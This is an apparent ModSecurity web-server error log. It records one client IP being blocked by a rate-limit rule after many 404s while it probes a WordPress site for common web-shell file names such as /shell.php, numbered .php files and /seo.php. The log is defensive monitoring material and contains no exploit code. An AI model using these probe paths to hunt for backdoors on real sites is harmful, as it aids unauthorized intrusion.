[Sun May 03 08:42:02.126580 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:64867] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afaZ2jSujTvwdzEkjSfhJQAAAZc"]
[Sun May 03 08:42:02.560142 2026] [:error] [pid 40422:tid 40435] [client 20.151.130.38:62576] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afaZ2kHBbBLrXh6PBuuNOwAAAUk"]
[Sun May 03 08:42:02.974409 2026] [:error] [pid 40422:tid 40433] [client 20.151.130.38:64821] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afaZ2kHBbBLrXh6PBuuNPQAAAUc"]
[Sun May 03 08:42:03.391614 2026] [:error] [pid 37126:tid 37156] [client 20.151.130.38:62467] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "afaZ2_R_A42N-LtDyrvjHAAAAAM"]
[Sun May 03 08:42:03.806485 2026] [:error] [pid 40456:tid 40465] [client 20.151.130.38:64814] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afaZ2zSujTvwdzEkjSfhLQAAAYc"]
[Sun May 03 08:42:04.217539 2026] [:error] [pid 40386:tid 40391] [client 20.151.130.38:62536] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afaZ3FHJDYRXUf3IbRTiUgAAAMM"]
[Sun May 03 08:42:04.653698 2026] [:error] [pid 37127:tid 37209] [client 20.151.130.38:62591] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afaZ3P8khJXb5O5aWVXiLgAAAFc"]
[Sun May 03 08:42:05.071944 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:64871] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "afaZ3ThvYFGNwhnPamqBXgAAAQ8"]
[Sun May 03 08:42:05.549828 2026] [:error] [pid 40386:tid 40406] [client 20.151.130.38:62570] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afaZ3VHJDYRXUf3IbRTiVQAAANI"]
[Sun May 03 08:42:05.973498 2026] [:error] [pid 37130:tid 37218] [client 20.151.130.38:62490] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afaZ3aIu7bmXKXicRk84qwAAAIU"]
[Sun May 03 08:42:06.395427 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:64811] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afaZ3kHBbBLrXh6PBuuNQwAAAU8"]
[Sun May 03 08:42:06.821505 2026] [:error] [pid 40422:tid 40432] [client 20.151.130.38:64852] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/"] [unique_id "afaZ3kHBbBLrXh6PBuuNRQAAAUY"]
[Sun May 03 08:42:07.244951 2026] [:error] [pid 37246:tid 37268] [client 20.151.130.38:65465] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afaZ3zhvYFGNwhnPamqBYAAAARI"]
[Sun May 03 08:42:07.788532 2026] [:error] [pid 40456:tid 40466] [client 20.151.130.38:61933] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afaZ3zSujTvwdzEkjSfhOAAAAYg"]
[Sun May 03 08:42:08.206735 2026] [:error] [pid 40422:tid 40445] [client 20.151.130.38:61855] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afaZ4EHBbBLrXh6PBuuNSAAAAVM"]
[Sun May 03 08:42:08.692793 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:61828] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afaZ4EHBbBLrXh6PBuuNSgAAAU0"]
[Sun May 03 08:42:09.124600 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:62480] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afaZ4UHBbBLrXh6PBuuNTAAAAVU"]
[Sun May 03 08:42:09.553329 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:62584] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afaZ4UHBbBLrXh6PBuuNTgAAAUU"]
[Sun May 03 08:42:10.010383 2026] [:error] [pid 37246:tid 37262] [client 20.151.130.38:64824] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afaZ4jhvYFGNwhnPamqBbwAAAQw"]
[Sun May 03 08:42:10.439074 2026] [:error] [pid 37246:tid 37271] [client 20.151.130.38:64894] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "afaZ4jhvYFGNwhnPamqBcAAAARU"]
[Sun May 03 08:42:10.879185 2026] [:error] [pid 40422:tid 40437] [client 20.151.130.38:61842] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afaZ4kHBbBLrXh6PBuuNUwAAAUs"]
[Sun May 03 08:42:11.312269 2026] [:error] [pid 37246:tid 37248] [client 20.151.130.38:60541] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afaZ4zhvYFGNwhnPamqBdQAAAQA"]
[Sun May 03 08:42:11.759848 2026] [:error] [pid 40422:tid 40450] [client 20.151.130.38:65512] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afaZ40HBbBLrXh6PBuuNVwAAAVg"]
[Sun May 03 08:42:12.183564 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:62465] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afaZ5EHBbBLrXh6PBuuNWwAAAUI"]
[Sun May 03 08:42:12.621926 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:61226] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afaZ5EHBbBLrXh6PBuuNXwAAAVU"]
[Sun May 03 08:42:13.038406 2026] [:error] [pid 40422:tid 40430] [client 20.151.130.38:64866] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afaZ5UHBbBLrXh6PBuuNYQAAAUQ"]
[Sun May 03 08:42:13.455015 2026] [:error] [pid 40422:tid 40444] [client 20.151.130.38:64771] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afaZ5UHBbBLrXh6PBuuNYgAAAVI"]
[Sun May 03 08:42:13.877959 2026] [:error] [pid 40422:tid 40443] [client 20.151.130.38:61881] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afaZ5UHBbBLrXh6PBuuNZAAAAVE"]
[Sun May 03 08:42:14.299258 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:62534] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afaZ5kHBbBLrXh6PBuuNZgAAAU8"]
[Sun May 03 08:42:14.751189 2026] [:error] [pid 40422:tid 40445] [client 20.151.130.38:59856] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afaZ5kHBbBLrXh6PBuuNaAAAAVM"]
[Sun May 03 08:42:15.238110 2026] [:error] [pid 37130:tid 37233] [client 20.151.130.38:62508] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afaZ56Iu7bmXKXicRk84rgAAAJQ"]
[Sun May 03 08:42:15.750801 2026] [:error] [pid 37246:tid 37264] [client 20.151.130.38:59791] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afaZ5zhvYFGNwhnPamqBfAAAAQ4"]
[Sun May 03 08:42:16.451482 2026] [:error] [pid 40386:tid 40409] [client 20.151.130.38:62558] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afaZ6FHJDYRXUf3IbRTiXAAAANU"]
[Sun May 03 08:42:17.350156 2026] [:error] [pid 40386:tid 40411] [client 20.151.130.38:61897] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afaZ6VHJDYRXUf3IbRTiXQAAANc"]
[Sun May 03 08:42:18.198425 2026] [:error] [pid 40386:tid 40407] [client 20.151.130.38:65410] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afaZ6lHJDYRXUf3IbRTiXwAAANM"]
[Sun May 03 08:42:18.970528 2026] [:error] [pid 37126:tid 37163] [client 20.151.130.38:62496] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afaZ6vR_A42N-LtDyrvjHwAAAAo"]
[Sun May 03 08:42:20.727911 2026] [:error] [pid 40456:tid 40473] [client 20.151.130.38:64848] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afaZ7DSujTvwdzEkjSfhTAAAAY8"]
[Sun May 03 08:42:21.839854 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:60489] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afaZ7ThvYFGNwhnPamqBiAAAARA"]
[Sun May 03 08:42:22.467535 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:61294] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afaZ7kHBbBLrXh6PBuuNbwAAAU4"]
[Sun May 03 08:42:23.372312 2026] [:error] [pid 40456:tid 40458] [client 20.151.130.38:64798] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afaZ7zSujTvwdzEkjSfhUQAAAYA"]
[Sun May 03 08:42:24.704324 2026] [:error] [pid 37130:tid 37234] [client 20.151.130.38:61220] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "afaZ8KIu7bmXKXicRk84tAAAAJU"]
[Sun May 03 08:42:25.690879 2026] [:error] [pid 40386:tid 40401] [client 20.151.130.38:61938] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "afaZ8VHJDYRXUf3IbRTiZQAAAM0"]
[Sun May 03 08:42:27.759377 2026] [:error] [pid 37126:tid 37170] [client 20.151.130.38:61249] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "afaZ8_R_A42N-LtDyrvjIwAAABE"]
[Sun May 03 08:42:31.929498 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:62562] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3.php"] [unique_id "afaZ9zSujTvwdzEkjSfhYQAAAYw"]
[Sun May 03 08:42:32.466600 2026] [:error] [pid 37246:tid 37255] [client 20.151.130.38:61867] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "afaZ-DhvYFGNwhnPamqBmwAAAQc"]
[Sun May 03 08:42:32.975964 2026] [:error] [pid 37130:tid 37222] [client 20.151.130.38:61245] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "afaZ-KIu7bmXKXicRk84vQAAAIk"]
[Sun May 03 08:42:33.401558 2026] [:error] [pid 37130:tid 37225] [client 20.151.130.38:61303] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "afaZ-aIu7bmXKXicRk84vgAAAIw"]
[Sun May 03 08:42:33.833309 2026] [:error] [pid 40456:tid 40464] [client 20.151.130.38:65525] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4.php"] [unique_id "afaZ-TSujTvwdzEkjSfhZAAAAYY"]
[Sun May 03 08:42:34.251620 2026] [:error] [pid 37130:tid 37232] [client 20.151.130.38:62511] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "afaZ-qIu7bmXKXicRk84wAAAAJM"]
[Sun May 03 08:42:34.672377 2026] [:error] [pid 37130:tid 37231] [client 20.151.130.38:61228] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "afaZ-qIu7bmXKXicRk84wgAAAJI"]
[Sun May 03 08:42:35.094075 2026] [:error] [pid 37130:tid 37234] [client 20.151.130.38:61924] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "afaZ-6Iu7bmXKXicRk84wwAAAJU"]
[Sun May 03 08:42:35.528298 2026] [:error] [pid 40386:tid 40407] [client 20.151.130.38:61277] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5.php"] [unique_id "afaZ-1HJDYRXUf3IbRTiawAAANM"]
[Sun May 03 08:42:35.952862 2026] [:error] [pid 40422:tid 40446] [client 20.151.130.38:62481] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "afaZ-0HBbBLrXh6PBuuNfwAAAVQ"]
[Sun May 03 08:42:36.376963 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:61951] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "afaZ_EHBbBLrXh6PBuuNgQAAAUU"]
[Sun May 03 08:42:36.820154 2026] [:error] [pid 37127:tid 37189] [client 20.151.130.38:62552] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "afaZ_P8khJXb5O5aWVXiQQAAAEU"]
[Sun May 03 08:42:37.267822 2026] [:error] [pid 37246:tid 37261] [client 20.151.130.38:62548] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6.php"] [unique_id "afaZ_ThvYFGNwhnPamqBpAAAAQs"]
[Sun May 03 08:42:37.745734 2026] [:error] [pid 37246:tid 37252] [client 20.151.130.38:64895] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cjfuns.php"] [unique_id "afaZ_ThvYFGNwhnPamqBpwAAAQQ"]
